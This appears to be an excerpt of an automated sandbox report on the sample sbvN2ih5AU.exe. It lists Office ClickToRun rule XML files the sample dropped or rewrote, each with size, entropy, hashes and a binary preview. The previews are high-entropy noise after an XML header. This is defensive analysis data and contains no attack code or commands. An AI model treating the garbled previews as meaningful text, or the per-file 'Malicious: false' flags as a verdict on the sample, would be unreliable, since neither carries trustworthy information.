Preview:	<?xml"ib.(>v.,..y...[W..@.d2.}....}VT.....']...X.D@u.<P.D.E...=..Wq.[]..S..AA..P..OZ...b^.n.oYNw...vT...yX..T...U.)X<b....`X.-n.... F8....n.S.!f..\U... ..~.............y.5<.6..).<..q..Sk........[B...d. M...u&[G6i, {O..L.....Z.....d..m!5.p.....B]8..5..#.[>....-../.F..=\7...(Vu_4...S...]:..W..{.[.,....#..p...q...0.A.I:\|.....go....^.]u...K%,.\y..6i.pDH...1..VGb.Nf~..0.6...E.%+..h8X.....l^._aV._.~k>...p-xH.d...8.o_.&.).1.+.4....ydW..D[e.EW.,B9h....H........L..)Z...u'o...!.By.....]i....F"..^......fS8......dzo.u_u~IG#k8C%L...3.AO._..V.......JF...>.v.....K.3/......;.Q.'.....".....B).Lq.]./......$i.u s..L.X.}.dS.'Z.......&0.H...a{}..F.1..g..jS.?flw&.m.d..V`.....9..3..Y..-.)Z..p...../....gox.........&..N.]._g..}?.....&@..c. ..........@.\......2..'.-.....fSW..9......F!hn..n......v....S${.F...=......V...O...g....N...s[..:.w...{PY..e.>.MN...6Al_{....s...v...p%.=...K.yR...M6.Rn...... Z'..<~.U6FR5 O\5... .F.T.....F..........[..y..Z2h...J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.881860851617382
Encrypted:	false
SSDEEP:	24:8cLPALycqV05jZedtMzZPAaULFNoPTaQEceReBY6UM1AHBid+vkEvDNJMuKYdEbH:tPAGcJX6oPAnF6P4lz60HGvD
MD5:	4C03CA09114D7E30D7EFB187D93C5DBC
SHA1:	FC6B4DB2B331AFC226971D15C7BCD2FE213CB0E8
SHA-256:	CB7FB32D5A5A88DB461C3900078404AD0EF069F77C54ADBCAD2C260763D00584
SHA-512:	F18C1AE6C5809A2BE7C61A9FDD12319652D66FF9C4C0FEF35D93882179FD57AA927D8C82795B123CB5EFD71C6A0CEE4978AB368D0705B05D59BDDD2A98AC43C8
Malicious:	false
Preview:	<?xml..(5..w..c..c./.+.Zw..q...aI.ef.....`....'..L.9.>..=....F.%....7u.[.H...G:.>(.!;...f8...S...o4...Y%R......T../2.,p.[..?..y..k..m5...f.\|.w.B.....4..;r]Z,.......d.a.H....k.<".F ....1Y..`.\|/.].lt.....iV_@~.o...UB..#......M\|. nq...7......#.....[..wa...w.l.C.F.R..../gS...i\..5...W.ZEw_=.p6s..\|Y....0%%n..i.%Q.9..2..RA....w....H..=6.S.#........f......W.W4/VO.........&k.A.T..G..>u...5x.......PI....i\|..~.cQ.Td@..@.9.y..S[......"+\?Q.x.p.......={..."R.v.Lm.hF@...=+cW........d.Kz3...S...?..9?..1A.D`....z.....Zv.Z..W........b.e.:.e....7Q.c....1.dS28;!CO...C,q..Y.\|W...>.a....U...HB.w.6..0.T0.I..A..0a...<$ldy...W...m....'z.B......y.^&..X.../`3.4.....=,.2..u..P.lG..`@....G+....".!..:..D%.E.y..)..`.^.EJld}Ne..6q...vv....:-h..J%._...F..KZ..,.I....s....t./d..x.p..H.W..4........LY77......b...SV.p...o8.N..p....'.J.....'.w..;..l^..w@.T..(.#..c .'..N...v'R.`...P_H.$.u)..4e...~I.l.G...].".h..r.F....Q.....}...j1}..D.[`.>.."..U..\&.~.j..8.:.q....I....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.884769076011868
Encrypted:	false
SSDEEP:	48:se6Hpil9x1rKKSXXKc0bTFdU3Ag3BEb2EEvMmrGryD:se6J+zBSKcKF/g3B22EEUI
MD5:	311992E1548837F8E8DF0CEFB679294B
SHA1:	4DC0A3B4B1B4ABBF24E8E5373C6BA5740843B61B
SHA-256:	C26E420DF46C965861203F1B073AFF4DE699E3A9413F74B64E6DD256AC274C7D
SHA-512:	C618E0F806A677047A5D6CEC05767E770B169B1280F3A938055411C27C14BA9FFE050F6341DE91AA952982188A0BA5812FAE1DF6FE4487303F163D16F2AC2187
Malicious:	false
Preview:	<?xmldk....y_.u7^...R7t1......@.^T.Q.XC.P@m._.\.3.#.V..c.w.M..<.&#^!.x.......l.....!..o.4J.......h.RV...B..8i.w...IN.Ib....x.h>..g....H.D.@..v...".{..I/x...;.q......'.[..}[.c0J.U......j..... ..qO.D.M....^>6..D.J...C..+.5TT...r....V.0^.5..z)2..n.....X...[:#.....r.l..W._.].(.1.....Y.X..g..8V7=;..Ak#\...z.......o..h...n.......8..m.s$....El...........m5.B.d..!(E...Dp......4.}......V.8.....o..S9...6..b4k.d"G...V......7........U.~....A...A.!.J...$....xs...Z8t._..^.X.O.pb.V.......D.;.\|..+...q.:s..@u.au...NT..;y..F..[..o....;.....%1.h.qQ...~.. .>..$...U.2...N2...!...(.p..b..~..jX.H.Q..>U..J..v.g.r..sX.\p.u.LV.[...U.5...........o.T.......:.p...N....$U^..s.6d..8.!G...ir....1..>r>..:....R.....W^w.z.?...`....n}R..A....l.....iK..=.n.:..K.".....S.q.%.e].>c.............!...Lp.v.......h...0I.^...+.<..X.G..{L....z......[..D. ..x.E.." }:.2X.zv..]:\|OS....=.o.i(I....r.l.s'h.Y....".+......./................. E.$6.H.g.@.B2.......-_.....!....JW.][.<.-.r..n.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8858468772433055
Encrypted:	false
SSDEEP:	24:Z2+MVLgrNsUhBxAOxAck7NLqNzbgbf/5iMALTE+UfvpeanoFtualIhhrmBA4fXn/:o+xeMxnxwMK/0Mx2HuaAlIfXTD
MD5:	54F5733E790E6CF5F630B1D4C43DF399
SHA1:	EE93C23E21D9AEC8C1CF04ADF7CDD4101F6490CD
SHA-256:	9BF3778D8CFF90B336A9B8D005A6D6FC7DBBC0503082BCEEF9327E5FB65C7E28
SHA-512:	7B6336635231D08FC00302BB55F5CA945809FC773525C9BDE96BB7CEF9F8FCB691867D4227C409D8FFF8484AE7A8D967EB0E3BB69157DBD447E467D7C358143D
Malicious:	false
Preview:	<?xml.....%.m...k.........G..<.fk.....jn...Y.b{.......E..Zd-.6.,.%..+-z........P..t.b.j.JBs....b..[.^..$.wl..uQ]\|... E7i.J..+.>..[......!.PA\.a\..`<...3.5Q...Qy.:).+...5. z5$+'....M.....A0a.;P...0.....x-NVJ....7=......$.<.w...;...9..q.9...teAn.V.A;.'.WX..Jh.-.(...X....[.A...e.s..+...YO3Yk.e#.v....h)..{.f>.p..x..s.u..c...<.8P......!.In$vb....=....c\|.v....BR.<.2...Nmm.\|\.G...T.....k.S.F....,...n..@Ee&..Z......#.}AJ%P...L..`9.'..3".C.r.. ..c....1.5.l>.`.d<.&.....v..`.}..8W...Y:....mm..[.i....)..l.!..$.\..L.[...(..bg.-.18..S....c..4.M.T.G..)..H..Q"...'L.!xB7..b...F..D.a...Mm9X...:.]..........{....OV#.g.2Up ...%&..@....^...Chg...:.5'V?gW.r..Rv....x...\|x.Y.%$.o{..im+sJ..ch....$F\|x...=.....T.3....[p.....s}..u..q.z.#.o...G......+..8U..\|.hE.....C...#r..o.N.\|.k>..q.&.....9.....j...)C.i.k.T8NX....`..<..xo.e[..R..qg.4..K`...4..CI]....{TO...>...quc......a.4. .p..>=.k.....S.Q..s......,#..<P..;.I..a........2Q..,RQ.@.s-...7>...O...^.J.....A.Q.r.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.882384159926745
Encrypted:	false
SSDEEP:	48:sN+Y5PFgn4DJ6V7zX6o2c5VGNgwtWh1yrNID:rYcn4D7Go3YhE5U
MD5:	59984EFED10486C9631D833ECBF133BE
SHA1:	B79EE6E0EA12D10EE85CCD517833D521C8709DE9
SHA-256:	E3E2BC4684CE5061F44FE192421B6726C7C4DD94840B6D367B53BD710E6F5AD8
SHA-512:	48A486C67CAA4068633DAC240B803D3654184B1E6CEEBBCAFF5EFA1EBB321BA39C2E55869733F4C3CEEFB53B40033E86309E40255C3E08BAD39C6A6B681BB268
Malicious:	false
Preview:	<?xmlZ.....n..XB...1;&..$J.\|f......1!.w....E.._..~...`.....-.(jBd.8x}..S..%0....D.u.N.m/.....5.^[&(g....._.5......W:......-...S..C..0..L,c.q.7.Q..'...[m%.wu..'.{..U.l....[.e..P..g`........V/x?.I..{.........^.....4@.)...i.....v.S..N.n..<...%....j.q/++?Vgg.t..m4E>...hW..#..k-.v..}Be?L?DS.C....o.~9..?...'\`xN...lq....`.R......M......S.)/.If...<...m....a]...Cd........."=L7...6BT=n......;.P(...Q.JWc.....{.PP..E.."...1.p;.K[..a..J...wKCx.I.<.WO....U+)...8...ya1..pk.~....ok^&..1..}.r.Qf.hYAu0.}.O..-5C.:........@@.....i".m/.K{.s.i..?.!..'..}lR}.......!~m8.:~...!}0.x..v..:.m...d.Me.y..J.C..\|..(..%.;pYF9..0."m.A#.....V......./\2ha....;......... N18_p..U.......H...3..J. .a7...r.:+y).j.&~..6.4.1..N....<.Pm..dv4.a.=2.8.G.'..VT.....jr}R...#....H._?t;A......."9.K.......s.NQY%..[....f}o$j..&.y..[.m.v?.r+B...Y.d..37$0.m.....7.[1D...aL...f..O.l....U).E......w-...h7 .D....b/....^...N.)..I........F...B....;..".p#.U.e..../.@....1".....<v.m.2(.2.c.%.E.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.892131717184627
Encrypted:	false
SSDEEP:	24:o7K4LfF5YuD1g0hP6FBQcdU+/OlhfzKE5j6esE7KGHF2skk1kUegMLi4p4tOYjnP:o7K4LLYX0leBQAOlVB5jwE44kU5NnXzD
MD5:	FFA36730DFF019316466097655FB82FD
SHA1:	116617F4158E09FEF2CD7785061B1FA9BB8AC57A
SHA-256:	0EDEDD5677A7B0174F067D1D752C817635D984E28C0C4636F002BE77B7FB166E
SHA-512:	59D7EF8061647DF264FF8B6D14C48C031164BDD3AB65C2DB897FC04676968F19BA449ED9A06B0682FE3FE28E2B0C8EC5B9B872AC5FBF07748A3AC78D58671B06
Malicious:	false
Preview:	<?xml<.?W....%C.........SH.F..J..^...........7^.....H..h..JJ..5...-.h.>.Y[$..e2$.....m......o&..}>(e....-H\S..q../..kWR......0\9.-.J^.AW.5.V.....WS...^.j.......Q..t...,.b......y...4P....blh..~..tx.>.M....F/3(..a\|v[........_..o..},.O.)sS....c}...4....JKJ.@C........_..\..I&L`.[A.\|.1...f.4.&...2...i....%..(.6.[.,O.-...^.O....w......;.3..{u...../n.py.<....".sv..l0I..-4..t...i..o.........Gr...p?..Q..8q)x)[.....If_.F..?(^.\|....}.C.Qx.}.....7v.L.~..efUv...!.$..'.C.,.d.Q...F..S...d.Ir.. ..,.;..?.k.K..%.{.V.W.i....j.Z.._....{&...O...wH..{f...{A.d.~.....!....V....nA..9......S..e.q.._..t.a....g..:{....E.oX:.................N...."[E....!q...2......<&7=w..j2E..`DOV...l.ig..h...s..y..$~....a...9.......2..._..E.../.}.{Z.\|a&W...S...nG"I...8..0..0~.._."J'...>..>.H/........_....PK?W..$.bA...\|.......I.I..G.[0T........E.."...$x.....K...x(!Z..K...*.M.VMv.O.[.;A...A..b..f+..Y"7.].VJl..u../.tK..\|~......Pm....K...2...=.Pq9.uq=.X.s.....f..jXY............>,..[%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.873077080267801
Encrypted:	false
SSDEEP:	48:DAd9zUnfwO0Abb984Ebihcp3Fv+vhxP6IiGoxD:kd9YPx9EWsh+5EIiGC
MD5:	C6A435B754622A7200BB779B0F246B3C
SHA1:	C35D10694842915FD2E03C7DA9C4B71A7EBB3B0C
SHA-256:	CA73BAD3FD77C57639035580F8670C004E6343834D530B00817CE05D71440E40
SHA-512:	76F80B874CB006D95EB05C6C7170935AD023AE6EBD374191451B7C47861ABF3F9BE6B06C81F010744C612CEE78BCF651B6F18A1F129AECCE07482DF2807905E6
Malicious:	false
Preview:	<?xml..1.2...9.....Z!.KL>3..v..@...$q.i[...R.......4...2l.1..dFF.A.J......k....!!)}.dO.d..]..>J...O%X.g.%vL;...z......i >;.`.2..6..U..)~>...q..\|.y.).tq..F...?...c.z#.3.X..uP....I.....j..Z 6.,.,.f.8u.<..u.......8.......;.E...".;.O.R.Dc.e..v3...)..g.\&......oR..E... h...._...\'U2..K....1%..jb..+...Co.E....80..p.... .....2...G.FYK....2v.....\m..2\.;$..........nT......).;......s._..irFs..g........'9.kk.(....ma....J......+.@d.Y....S._...E.e........-?. ....TEF...oy..ym .R....C.Pc.gKD7....y..=.7.Zq.U}.)..9.z13....\|...TE...0...'...'3......V.........(]/.s.K..KQ...6n......Vl.F.2.8.G..r.>4.CQ....^.,.82...&\qr......I..).}8..8..._.Q..`.v..J.....B...T....v=X..z..k.m.Y...J.`q.\.:,........N.."%&...k.}f.GgQi[.y..&.0a.........`......~\'d.....iY.".....>X4!,....5g..?J8..-.L.O.U.L......IX..5.'...\|:-KG....j!....3.)....Q?[>....I.....\|.f.,.gR..].Q6...,K.\.......:.G...Vd.].g......J.._"o..+&.y<...>yH>_.}...b...L..n0.n.....~H.v..b#.O@.].7...J..cH...I.h...Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.902058897667603
Encrypted:	false
SSDEEP:	48:RKPhoQQofPTU9Yddi8Jgr6aVYvV23zqHuuuv36D:RwoXofPTlvJuYvg7rvi
MD5:	05E2190469A0A44B9B52A5147209D2F8
SHA1:	96A32F78055B5F8663E266CB3336E2D9086876FA
SHA-256:	68711CE8826C805DD3B7094EDFAA9EF60860B87A0CCFBD01E3C4621E4D77EC38
SHA-512:	267DF8B20BD460BDDB04BBFC4791460D30D31D5E3C52F41332E9BD41DF2BFE6312548CE9E4CDA7186E1CDE020B3B8012ECCE69530484CBEB10B926FF724B3ED2
Malicious:	false
Preview:	<?xml..Z.B.AN.......`]B....Ua}..pG...C(;.vb.5g.'"9...b..8..1....[.N...N.o..J..n.{p5.\|D?...,..i.g....-.......Iy.B...7..{>.....I..k.)..eM.....^...[.}Z.3A.W.,.].....7..6.sRA..<O..s...go.~.J.q]..xM).1...Y..).....@.{N).w}Pk.)..._......T....a..s.8P..zqaQ...Q&c1e.^.] .;.....s..6...!.m..H.i..p.([kW......D...\....#...i..U=...@.74..... ..wW~#s...4.........})z.Y...I.m..(...xM...q........?.\|...C...@.J...K]...p.x..v..~.....}P0...X..O.`MBAe..B..S......S&.C...$.{...e.Z....,..........M.H.0O.]..z.9._;.?Q...Y..ti.E.\.c.K..P.D:.1..`.R.........i.c.wg.0/.%.....Q..p.SS.k.?.d.....,.~.^o#...( .....E.....v........U.b(K.."f.../.<.8......$o%...V.....7vy..Q}.\....=Hv..Q.$>@.....P..O..=...~t\|...8G$0........<...bL.........%..t.si.{...1..m4...,....-=l.q.\|...d.ryH....!.b..8..:{....%.}n.2W.Iu..,..A.pL..+.....qNMF...H.v..cd..a.?..:{...,.s6O.@.#....LI..\|...5..%..Px....g.J.u.W.........U......v'o...%..5..tb.sK....:..D.....<.zA$.H`.j.)...v.....b..j......*..x.{.)..+.3..s.x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.882267693133686
Encrypted:	false
SSDEEP:	48:5w1PTkJHHmRvVSDp00re2VSxdnST0lTvtwZKc2gLTD:5wNTsLVSxlu0lTeUcnj
MD5:	24FBCA5056BD50B23AEE935486BEEDD3
SHA1:	6FBA03D070EDEF17026C99D9FA4D82B16B0F8F0F
SHA-256:	E023B511307C0E831FB8755392E43CBE5012A1F97FE0155F8D11A3030B09268D
SHA-512:	669B8BA7AE3FFFD52C84B1AEDDBEEAC256484EF9AA5F2740A153FA93D96AB17EFCA27190750C7E4EC0A4C89C614D19B8E9903A8AD218BE191CD100872412EF38
Malicious:	false
Preview:	<?xml..n.).....<E.)ku...`..+.....1d,ct.o.....t..t.)...9...v...O....I\.\cM.Af.h..3....3I\|q..X..M...iJ.f.).K....C...t.F[....S..=......`.C.C.M<xjd.l...u..k%...y...l\|......#..F....yZ.L6..~E..%Le..9jt..s...]..71....AD......'...&.Z.V..Mp...S........C.....=.....+....Ih.Q.#&....x...GP.^..Qzw.3... ...X.'Y.......^....j.C.,..n.............@+..:....w%E..r..........R,1l=......#...l...hz..e.]..u..E.A...P...6 ...#..l~3..B.$....2....M.PO.=...o.....P...........n.@.Y..c.....v.r.c..p.b.za.XXTg..m.3....iN/......T...OB.rS.N..24...#..C#.he..3 NT"....wY..._.Y...$...B.A...t..G.V.GH.j_.T=O.mr..........p!.n.%........#fz....w.&..8p.4...."......h.......Y.n,..mC.O.....i2...P,......X.V)..T..\|M...n..A.h.My%..m.U.l.W....z.#..%..T.z.=...C...6./.Z.]...........J...^.\5..:.9...E.'....D.}.{...!..C.....;oVv...........9.am..:..\..}.5g......m.S~.......E.K.. ..}..vt...t...l..:.v.~....+..k......O.,&..............S..s...oV-....'S..0u......SI..%S..."z..O\|F...#.....Gr./NxM..\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.887091054317659
Encrypted:	false
SSDEEP:	48:YB76HnxRWMG42GDHrZy119Sos2aXOuKm3aZ0dD:9xg942GDLZy11smubZl
MD5:	F7A15285DBCAB17B1207864FDC96ABCF
SHA1:	B73AB98119E9B90AADDD054948244F01F8CA8EA1
SHA-256:	73D8F61375CC3B7103C68C20FCF36BCA95D29D49E49190B2E9F79F1ADDFAFFA4
SHA-512:	F6FEC480C74E7FE6E1B759C625D500C3065BAD0DEBB7CD47A979E22627B5FB93D5672396F542333E8B26717536F8CA57B755C5884E1305CBE8087AF1C1AD4604
Malicious:	false
Preview:	<?xmlb...Q..W.k Ln.,..M..Wk........1.}E.#r..8.1m> ..=.z=.@jAVt...=}.....q`r0Yv..>.....R ...+.X.;I..p.#63....4....1...Sc..?.m..T.F.....h..%h.s.wY.=8.KpM.>..+.xf#.s.:......}%.....\|.%.`;@.L....d.Z.g+K.. .+8o.....w.;.g_...2'I.;...r.Kv-.....:....V....o.W.H(. j.=u=W..$..I....p.TT.2E......+......,$\|%p..L...T.\|..93...I..q..;......-..\|..@>.r.9C.E..]M_..].60..x...=..A)..7.R^.^S....+...Z.^.@..~....v.F....t....^..F..9..~.1.X.X..)bU{.....i..3.1....9N.......k.n...m.E..`..zN.....i..!....K6...8....S .m...ixn..fhw.Zv.-...o.K......I...OYHX.......g...KQ..../...lc.........?.;@.nHG7$4.[..k.....I....VI.l^..N\|......(..c. .<..<.h.XL....!y..E.;P..H.vF....>>.=OU\|.G..h..T.l..tB..... ....._X.,..S.....U....q\!..v.=LD...F.;.R.5..W....\.r.B"....D......k."rgE.-Ef.-. \........E....?>%....`....}:M-~.P.L..[...!..&K.\...1d...(.WvlT..P%.i..=..>.V...>L.-..^Z1V..J.Gx.O..=.4..E;M.yv.....ul'..:.9nXK.S.U.-...f......+.x...b.[j.x.Xr&r....x....N..l\.c...Z.i[...,_...'m6.F.L...i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.870410886489408
Encrypted:	false
SSDEEP:	48:fi3CJfZccfiQsLtZMSHSrku3NI2aEvBM6lypD:fi3ez7sLt+Z7QEvBxyB
MD5:	EB93C4EEE4F7292D0CB33A1D8F3B0625
SHA1:	AB31A54C588FBE851FBF31607E7A98CAB7D1ACFA
SHA-256:	C403EA2BE2D75831AF408F37766873D3C9DEB0460870F38C52E1D1255525B47A
SHA-512:	39B421BD5762B0284B61FDFC1B3EC29A2A9F491D8B3560601719EEAED9367D8F9E4BF6CAE0346BBD67CA277754D8D2C95A4F1FC9E9F30F13FBD22518870D0375
Malicious:	false
Preview:	<?xml..W..'k9...-..&..b..]@.........IC9<b....-c....:....9....B.......:r....a.l....:[.z..S7.).:...0..v..2..?..KCyr4...M..E..~\..V.A.[.D..<..!=...z......e`.`....6t..D...u.V....(..].-...v.O...&....6..-bx,.yF.1.."..I.A#.a.:....&...3..[...W.Y...0.S...#./..%..6..z..-...a..sY.\|.s..B...&..I....[ .S...j.."\.I.x......5.9{..8....2`CyT\|.7...{\..0...:...#..`9.\|...7\...\|...a).Y..D.1B.h...U......{.Q[.#ZZ........F!].m.V...$N.Z.h.D.K.y.a...V..[.....A....(.tSn..7.h..0C....v..e.@..Q.(7T....q.....S.....z..u..Y.?.0-..'.x.Rq.O++.T=.LO.kT.7.l...\..r.0=.....t-....e.d....C.....pC n.~.....O&.P.....aq....\.T.6.h.Cy...2..1..._.;j.....Y.p..v..}........se.xL...5n..{.L..j9r.:.D...$V.....'V.i...?.~T..y#..r..=..f...xx.8vr..Mz7........... ..iH>.....3.....b..d..8.t...g9Wi..T}..<......a..+...W=O.++.....]..6P.O....d.8.6..eH..Q.W.#M...,~...Q.....f,.Ro.Qv[....]..=g.).!j.Bp5./`......9.y.U.}+=,].;.S.....7${.,f$A..z...2v#...8.e.3p......<.ngq.p*.r.`a...:Q"o..1H.B........C+..J.H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515563344344483
Encrypted:	false
SSDEEP:	3072:+PYYMNzZlm5H6t+OPyP0JH8Tr80pSgxDzdwXOXrEPaQflGiWb:VO16MOeU8PtHxDNXb
MD5:	9FA0C4797B66C73BA6D986F04DB3D1D8
SHA1:	5C440E94F4BE15AA83F99C327A2E0540D1C353EA
SHA-256:	AEF0EC9A8720FC26C4EB91BBA88AD62541FADC804DC7C14697566E4917772201
SHA-512:	4DC53E4F4CA0CCBEB7999A7362280772B857BB59CD31DC136C449C334974D1C37A1C78121E8205F4B8F0D9F5E899B8BEDCB4F8FD045D6A8106B6EDFF513BAB7A
Malicious:	false
Preview:	<Rule..\|~p...qzy.F...&P...........Z.f0.\.>..B.;...t....l...P...B.g.;....s..J.a8....&....R......{%%...&M..dZN.........#..ZL......Yv.m._...X..>[O..s...u....AU`.{Z...WI..C....&\P._..Y.`(..O\|QWt...i....3....q8^B.[..Q.iXx...........o.._......n.....X.6Ot..g.2s8...^.4V.H..MW..~$.bS..B....... .(.c.E.B..fw........].-'.........."0...t.....m=q:...-.A....`...%......_......C.9S.T.h..............;.. ...Y.tl..@$...\(......yY..;.....W....A..n.R..'yi''..-.?.......z....I..~]Mz........RB.!.(E-..K..i.../k.1....O..lGvT..V..Ir...2...28C_.n...g.e..b5.h.x...k\|.8B..!bp.P.....Q..Y...4.Yf).#Z..<.6S...i.x...CE$.r\|D"......-Z...7......!QF^..@........>#.8./............%#.\...p7...,...[}.....{Y...9I.XQ.....7.\|...s..pG.D..j3n.^ H.&6.X..o] ..e..t.....5:.....8x..Y[.l.Za.....x...D...h....-.~.\|p...2iQ.G....}./.............J....m.4Y7)..J....Fn.C\..kP.Y.....C...A28,G....}..a.=....p=...e"jf..B.....-.R.%.:=.'.{1/.J.~..~..v9.....]q..gd....&..Q.t......7...=.$C..Q*.r..../.,).^....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.925148487772076
Encrypted:	false
SSDEEP:	48:izVhH4FoZcZf1Er/Qpha/5ASTS41cVqsYFZhgQRctD:g34E5ASTTrsYfuQW
MD5:	F88EDFB8B2EEF916CBB7ABB55CE55D16
SHA1:	F2DB83BEABB7227BEB175152FD5A708484F48805
SHA-256:	5CDDFAC89646853B08D816E9F141E8A8B991A140A63D4A7896469C0885694726
SHA-512:	512B6A98E900A11F58F6CAC84287F19E427B5BDE119B24C6D0FA54480D7A481108C970DFFE8767513BD797AFD703D0A1EC97E0BEC77198A3A776A77E922BA645
Malicious:	false
Preview:	<?xml.9..6.1.....NC...k.....!.8L.3.w.vZ/.......=.W.....H..B....O@W.M....@...M.?..(..Yp..'.Q{f....{.D.U.].....c...I..[...r.a...C..&G.P......3.Ke.:[..d...3..WA%.l.98.NE..f.+..Mh.B0.<q<y?.u"..+.CrA<..?......nn..Pg..._.wV-.O]..-.}.].bS.V.a........M..k.4vD.~...;..bc..:..:..V...">.....+#4f.XQ.!..P[~..r.U.....L....K.@.......v....H...%]..6RO..%.T........jV.7o.Y`.o..c7..\..7..u.._J.._NQ1~<...gD.0.....`.[.S=D.A.....O.M.....s.$.6..!.qj....T.....9.gdN....T)..3.Ea.7...@@D6..]}.G.x\.U_.u2.-..a.n. ;..V./....R.q..&...\.K...W.?....9U..a.^;..D........m/.x.`Z...1..`.......{.h....w/....a.f.^.......#8.'c......w"...p<(.]F..d..Z..y....Y.....e..h.....,.../..o..\|j.l.oz`..~1.kc......N.h....=A..b..bP.......9...NE...I.Vq....WR.%.J...........<.~..}.....!(x..I5+x.A..vo.-..j.;.L...[.47.t..H[....D..>.....i).6.......,..li.X..G.:$m......9...........H..\\..s... .@L..I&....y.. ...d.`W..4.Q.[.......h.)..".BcE...0..A./?..s....... ......2../....c.&.<\...3..Z....bD......Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.888503385565866
Encrypted:	false
SSDEEP:	24:dnFkSpTINN5gsdjudecxFg9skk5MuqmVa0Y9L2KKNVi6O842bD:/C5Nd4Iked9L2FrD
MD5:	9A9B1A621D942A09AC8A91E776573EFF
SHA1:	47FF93B4C14B7240D496C3D8D1C63AC5D3ECDD0D
SHA-256:	C180A59CD4819765A5F1011094CAE896A1F2AA88D8E9E0B24910D16FC8B39F3A
SHA-512:	BF79AACBA7E01776B62B40145A056CFE977756D80F401FDA3BC964335B1F7FB71DE8A92E44B20B9E4B59F1A935C2FD83312F85820246DC07BFFCA41DA6845E09
Malicious:	false
Preview:	<?xml.X.....]`..D...3..4......g...^.y&2.........Ph.r.~....t.....&..O.......rb....%g2..g\M)coM._C.{4,Z...Cw..T.].(......[$.:.b'...Wn....y. .....N..../....6q...Hr..1q7..>.{.`^.rw.p7.:.T....... ....Bd5.......S..aJ:sEA?...f..!.....^....\o...S>.6..-....m..&.....J.....l.:...F......%..?k..YP`...".mP...e...m5H.Vp..c.u41....I..2.....C./....[.".....+).(.......y.Kb[.$./o.,....#N..........s.E....4$.3...4...<...b.....};.=.....C.!.d.g....\b.v.(..{.,.....y..#(.wV..T.KQ.......N..=.W....M\|..\..Z..#.{.....C7..........S.q.i...<.Q.$.g.ev....t.PA...p..,I.Y$j......+...:M.... .=..w..Z..d.W..%i.....~R9...xw.$.....6...K".2.9...z.0.L..U%..~Zn..W.T..([P.G?A}rw...8A...h..K...7.+.1........P....@'.\|......L.4.;..lfm1......l`5.]...Hg...>,Luz..aj...`...P.4x..VFyL..^.,...6.:fVS..\yJL.\|....e._.P`..0.u..QG......N..}.J..u.<vqtLd^.I..B..q. ..$o......Q.$.>.o.kP..CI#o..s.6....z..+6.h.+..:.Jg.Tr#...9.&..a..B.b....k...}...........?...L..S\|.jE3[.."...}.G....$\|N..'..!...A.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.939774242214487
Encrypted:	false
SSDEEP:	48:PIJHdeAEScfd/xh4eemyoBPlhlvQk+K2UR3bQ3knH5xJjjvpOD:MNcfd/UXmyoFnl44zRk34H5A
MD5:	DFFA86FA2B005831606F120A4E2B8167
SHA1:	CC97E1E416A387ABD273346EEB567FC701034EE5
SHA-256:	8ED57A1FC7D28795A7986C2530F155FAA36005EE0CB51A40124F2E9FAC1B3BFC
SHA-512:	68419BEC7E5CD41801CF833A67CC38DEC4AFF401D5BFEF2DB57E6C13F45615B6663D2CFDA7234DBC50245DFA5CECCEB138FD755C1C01E5CA95548475703F52DA
Malicious:	false
